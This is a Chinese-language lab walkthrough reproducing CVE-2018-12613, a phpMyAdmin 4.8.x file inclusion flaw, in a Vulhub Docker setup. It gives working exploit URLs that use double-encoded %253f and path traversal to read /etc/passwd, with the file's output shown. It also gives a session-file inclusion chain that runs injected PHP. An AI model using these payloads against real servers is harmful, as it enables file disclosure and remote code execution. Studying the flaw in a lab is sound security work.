目录
1、确保系统已安装 Docker 和 Docker-Compose
一、CVE-2018-12613漏洞
1、漏洞简介
CVE-2018-12613 是 phpMyAdmin 4.8.0 至 4.8.1 版本中存在的严重漏洞,源于其 index.php 文件对页面重定向与加载的代码部分,以及对白名单页面的不当测试。在这一漏洞下,攻击者可通过精心构造输入,利用二次编码绕过程序的白名单限制,实现服务器上的文件包含操作,进而查看或执行敏感文件,获取敏感信息,甚至可能植入恶意代码,达成远程代码执行,控制服务器。正常情况下攻击者需经过身份验证,但当(cfg('AllowArbitraryServer')设置为true时,攻击者可指定已控制主机执行任意代码;若cfg ('ServerDefault') 设置为 0,则可绕过登录直接运行易受攻击的代码 。
CVE编号:CVE-2018-12613
漏洞类型:本地文件包含(LFI)
影响版本:phpMyAdmin 4.8.0 - 4.8.1
漏洞等级:高危
利用条件:需要攻击者能够登录phpMyAdmin(已认证)
核心问题: 对传入 index.php 的 target 参数验证不足,导致攻击者能够包含并执行服务器上的任意文件(包括远程文件),从而实现代码执行。
2、漏洞原理
CVE-2018-12613 核心原理在于对target
参数的过滤逻辑存在缺陷,攻击者可通过构造特殊请求绕过限制,实现任意文件包含。
(1)漏洞触发点与正常逻辑
在 phpMyAdmin 的index.php
中,target
参数用于指定跳转或加载的页面,代码通过include
函数加载该参数对应的文件,核心逻辑如下:
// index.php 中的关键代码
if (! empty($_REQUEST['target']) && is_string($_REQUEST['target'])) {
$target = $_REQUEST['target'];
// 检查 target 是否在白名单内
if (! PMA_isValid($_REQUEST['target'])) {
$target = $cfg['DefaultTabDatabase'];
}
include $target;
}
正常情况下,PMA_isValid()
函数会校验target
值是否在允许的白名单中(如db_datadict.php
、table_sql.php
等合法页面),若不在白名单则使用默认值,防止恶意文件包含。
(2)过滤逻辑缺陷与绕过方式
PMA_isValid()
函数的过滤逻辑存在漏洞:当target
参数以index.php?
开头时,函数会误判为 “合法值”,直接放行。具体来说,其内部判断逻辑类似:
// 简化的 PMA_isValid() 逻辑
function PMA_isValid($target) {
// 白名单校验
if (in_array($target, $whitelist)) {
return true;
}
// 漏洞点:若 target 以 "index.php?" 开头,直接判定为合法
if (strpos($target, 'index.php?') === 0) {
return true;
}
return false;
}
攻击者发现可以传入经过编码的URL来绕过白名单检查:
index.php?target=db_sql.php%253f/../../../../etc/passwd
关键技巧:%253f
是 ?
的双重URL编码,?
→ URL编码为 %3f
→ 再次编码为 %253f
请求:index.php?target=db_sql.php%253f/../../../../etc/passwd
↓
PHP自动解码:target=db_sql.php%3f/../../../../etc/passwd
↓
白名单检查:checkPageValidity('db_sql.php%3f/../../../../etc/passwd')
↓
二次解码:内部解码为 db_sql.php?/../../../../etc/passwd
↓
截取问号前:db_sql.php → 在白名单中 → 检查通过
↓
include 'db_sql.php%3f/../../../../etc/passwd'
↓
实际包含:/etc/passwd
二、环境搭建
1、确保系统已安装 Docker 和 Docker-Compose
本文使用Vulhub复现structs s2-057漏洞,由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。
# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker
2、下载 Vulhub
将 Vulhub 项目克隆到本地,具体命令如下所示。
git clone https://github.com/vulhub/vulhub.git
cd vulhub
3、进入漏洞环境
Vulhub 已经准备好现成的漏洞环境,我们只需进入对应目录。注意:docker需要管理员权限运行,故而注意需要切换到root执行后续的docker命令。
cd phpmyadmin
cd CVE-2018-12613
4、启动漏洞环境
在CVE-2018-12613目录下,使用docker-compose up -d命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器
docker-compose up -d
命令执行后,Docker 会完成拉取一个包含phpmyadmin 4.8.1(受影响版本)的镜像。
5、查看环境状态
使用 docker ps 命令确认容器启动状态,如下所示当前运行的容器64ff15e1d473属于 Vulhub 搭建的CVE-2018-12613漏洞复现环境。
(1)Web服务器容器 (phpMyAdmin)
- 作用:运行存在漏洞的phpMyAdmin 4.8.1
镜像:
vulhub/phpmyadmin:4.8.1
- 专门包含CVE-2018-12613漏洞的版本端口映射:
8080->80
- 通过宿主机的8080端口访问访问地址:
http://localhost:8080
或http://你的IP:8080
漏洞: 本地文件包含漏洞(CVE-2018-12613)
(2)数据库容器 (MySQL)
- 作用:为phpMyAdmin提供后端数据库服务
镜像:
mysql:5.5
- MySQL 5.5版本端口映射:
3306->3306
- MySQL默认端口用途: 存储phpMyAdmin的配置和用户数据
三、渗透实战
1、访问网站
Docker启动完成后,访问 http://[
靶机IP地址]:8080/
index.php 来查看环境是否搭建成功。以本机为例,ip地址为192.168.59.128,端口号为8080,如下所示说明环境启动成功。
http://192.168.59.128:8080/index.php
2、获取session文件位置
在当前页面查看session值,鼠标右键-元素-网络,如下所示。
点击重新载入或者刷新页面,进入到如下页面,点击当前报文index.php,在页面底部的右方点击cookies。
找到phpmyadmin对应的cookie值,将其复制下来7c8f29196f7223d5ae47d89e727f7df1。
对应的session文件位置应该为/tmp/sess_7c8f29196f7223d5ae47d89e727f7df1,此时进入到Docker环境内部查看,确认此文件存在,如下所示。
3、读取敏感信息
读取/etc/passwd文件,PoC的访问URL如下所示。
http://192.168.59.128:8080/?target=db_sql.php%253f/../../../../etc/passwd
或
http://192.168.59.128:8080/index.php?target=db_sql.php%253f/../../../../etc/passwd
如下所示,该PoC利用PHPMyAdmin的二次URL解码缺陷实现文件包含。攻击者将?
双重编码为%253f
,首次自动解码后变为%3f
,通过白名单检查时二次解码还原为?
,使系统误判db_sql.php
为合法文件。实际包含时?
被当作普通字符,结合路径遍历../../../../
最终加载/etc/passwd
文件,获取到/etc/passwd敏感信息,内容如下所示。
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/bin/false
4、执行phpinfo
通过包含session临时文件来实现命令执行,具体思路如下所示。
(1)访问server_sql.php页面
首先在登录表单或其他能写入Session的地方注入PHP代码,这里选择访问server_sql.php页面,具体效果如下所示。
(2)执行phpinfo命令
我们先开始执行一个SELECT '<?php phpinfo(); ?>' 命令,如下所示。
SELECT '<?php phpinfo(); ?>'
这步会将代码写入Session文件,文件名格式为:sess_[PHPSESSID],执行后页面效果如下所示。
(3)session文件包含查看
然后查看session值来访问临时文件/tmp/sess_7c8f29196f7223d5ae47d89e727f7df1,使用CVE-2018-12613漏洞包含Session文件,构造URL,如下所示。
http://192.168.59.128:8080/?target=db_sql.php%253f/../../../../../../../../tmp/sess_7c8f29196f7223d5ae47d89e727f7df1
或
http://192.168.59.128:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_7c8f29196f7223d5ae47d89e727f7df1
如下所示成功执行了PHP info,本部分的原理实际上是通过Session文件作为"木马",利用文件包含漏洞来执行其中的PHP代码。